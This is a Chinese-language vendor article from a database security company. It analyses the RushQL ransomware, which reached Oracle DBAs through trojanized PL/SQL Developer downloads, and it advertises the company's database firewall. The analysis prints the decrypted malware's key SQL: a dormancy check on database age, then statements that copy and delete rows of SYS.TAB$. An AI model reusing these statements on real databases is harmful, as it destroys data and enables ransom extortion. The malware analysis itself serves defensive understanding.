2018-11-19 國家信息安全漏洞共享平臺正式發布通告“Oracle數據庫勒索病毒RushQL死灰復燃”。轉載原文如下:
從這封簡短的通告我們可以發現,RushQL勒索病毒已經不是第一次肆虐Oracle數據庫,早在2016年11月就已經在全球掀起了一場血雨腥風。當然,那時候它有個更響亮的名字“比特幣勒索病毒”。
目光回溯到2016年11月,全國多家企事業單位遭受比特幣勒索通知“你的數據庫已被鎖死,發送5個比特幣到這個地址!”。用戶在登陸Oracle數據庫時出現如下勒索警告信息,被要求上交5個比特幣來換取解鎖數據庫的服務。
時隔整整兩年,RushQL勒索病毒卷土重來,發動新一輪的肆虐。我們不禁要反問自己:為什么我們會遭到同一勒索病毒連續攻擊?數據庫安全廠商能幫助數據庫用戶做些什么?
作為一家專注數據庫安全的廠商,安華金和早已對RushQL勒索病毒進行了深度的解析并提供了解決方案。
早在2016年RushQL勒索病毒出現的時候,安華金和的攻防實驗室就對該病毒做了深度分析,并提供了有效的檢測和防護措施。
RushQL勒索病毒攻擊的目標人群是數據庫管理人員(DBA)。通過在CSDN等網站上惡意散播攜帶勒索病毒的PL SQL Developer(PL/SQL)軟件程序,引誘用戶下載并發起勒索攻擊。
攜帶RushQL病毒的PL/SQL,解壓后主目錄的AfterConnect.SQL文件存在異常。官方的PL/SQL下AfterConnect.SQL是空文件,而異常的AfterConnect.SQL有 35KB。
該腳本的關鍵代碼,采用了 Oracle數據庫專用代碼加密工具wrap進行了加密,我們對病毒腳本進行解密后發現,該腳本的主要功能是創建4個存儲過程和3個觸發器:
存儲過程 DBMS_SUPPORT_INTERNAL
存儲過程 DBMS_STANDARD_FUN9
存儲過程 DBMS_SYSTEM_INTERNA
存儲過程 DBMS_CORE_INTERNAL
觸發器 DBMS_SUPPORT_INTERNAL
觸發器 DBMS_ SYSTEM _INTERNAL
觸發器 DBMS_ CORE _INTERNAL
三個觸發器本身沒有問題,問題在于存儲過程。以DBMS_SUPPORT_INTERNAL為例,該存儲過程的核心是兩條SQL語句:
第1條SQL語句:SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)
語句含義:根據創建數據庫時間和當前時間差值做決定:是立刻入侵數據庫實施勒索,還是先保持潛伏直到條件成熟再爆發進行勒索。判斷條件為數據庫實例創建時間距今是否滿足1200天,一旦滿足并重啟數據庫實例則執行第2條SQL語句。第2條SQL語句:EXECUTE IMMEDIATE'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select *from sys.tab$';DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECTDATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
語句含義:勒索者首先對tab$中的文件進行備份,然后再刪除tab$表中的部分內容清理數據庫的備份文件后,向用戶彈窗實施勒索。
綜上所述,RushQL勒索病毒就是通過執行這些腳本入侵Oracle數據庫。一旦使用這個PL/SQL工具訪問數據庫,相應對象會被后臺自動注入數據庫,執行觸發器阻止后續的用戶登錄,并通過任務Truncate數據庫表。
2014年在國內“數據庫安全”方興未艾之際,安華金和已經開始推廣數據庫防護墻產品:通過串接部署的方式矗立在數據庫最前端,形成了數據庫安全的最后一道防線。
安華金和數據庫防火墻產品,提供“數據庫漏洞攻擊防護”能力,是目前應對數據庫勒索病毒最高效的產品選擇。其防護的范圍不僅涵蓋CVE和CNNVN已經公布的大量數據庫漏洞;還深度剖析“勒索病毒”的攻擊方式,提供防護手段。
安華金和數據庫防火墻產品,可以對oracle數據庫的“密文存儲過程”進行解密操作。這種準確破解“密文存儲過程”的能力,不但在本次勒索案例中十分關鍵,也是防止第三方工具向數據庫發送惡意存儲過程的關鍵,只有準確破解加密包的內容才能進行精確的語法分析。
數據庫防火墻能夠把這些訪問數據庫的密文存儲過程“明文化”,對“明文”進行SQL語法分析,匹配特征值;并對前后關聯的SQL行為進行分析。如果判斷該“語句包”存在惡意行為。產品可以進行會話阻斷,并向相關人員進行危險告警,完成對數據庫攻擊的主動防護。
數據庫防火墻產品早以形成內置的“虛擬補丁”規則,專項治理“RushQL勒索病毒(比特幣攻擊)”,如下圖:
漏洞類型:惡意代碼
漏洞源:攻擊者可利用漏洞進行比特幣攻擊
數據庫版本:Oracle
勒索病毒入侵數據庫多數是利用了數據庫已有的安全漏洞,或者是植入惡意的存儲過程。數據庫長期暴露在應用系統和數據庫運維人員的訪問之下,如何有效防護勒索病毒?數據庫防火墻提出三條解決方案:
①學習期行為建模
產品可自定義學習期,并基于學習期完成語句、會話的建模分析,構建數據庫安全防護模型;并具備數據庫語法分析能力,可以對SQL語句進行抽象描述,將海量的SQL語句歸類成SQL模板,從而定義語句黑白名單規則。
學習期結束后,對非法的訪問行為和SQL語句主動攔截、阻斷,阻止惡意攻擊行為。
(注:攔截和阻斷的區別:系統支持會話阻斷,可準確定位風險來源并阻斷會話請求。在會話阻斷的基礎上,系統提供“語句攔截”的處理機制,僅針對會話里產生風險的SQL語句進行攔截,保持會話內其他合規語句的正常操作。)
②漏洞攻擊防護
系統提供“虛擬補丁”防護能力,內置大量數據庫漏洞防護規則,防護范圍包括:系統注入、緩存區溢出、權限提升、數據泄露、拒絕服務等20多種數據庫漏洞類型。當外部系統利用數據庫漏洞進行入侵時,及時阻斷入侵的風險會話。
③敏感數據防護
系統可關聯數據庫的Schema、表、字段等對象信息,建立敏感數據規則。對象之間又可以自定義“與/或”關系,形成敏感數據組。數據庫防火墻針對“敏感數據組”建立安全防護體系,可結合“應用信息”、“客戶端信息”、“操作行為”等元素共同定義操作規則。通過敏感數據組可以對數據庫的“核心系統表”進行有效防護,在允許常規訪問的前提下,防止惡意篡改和引用。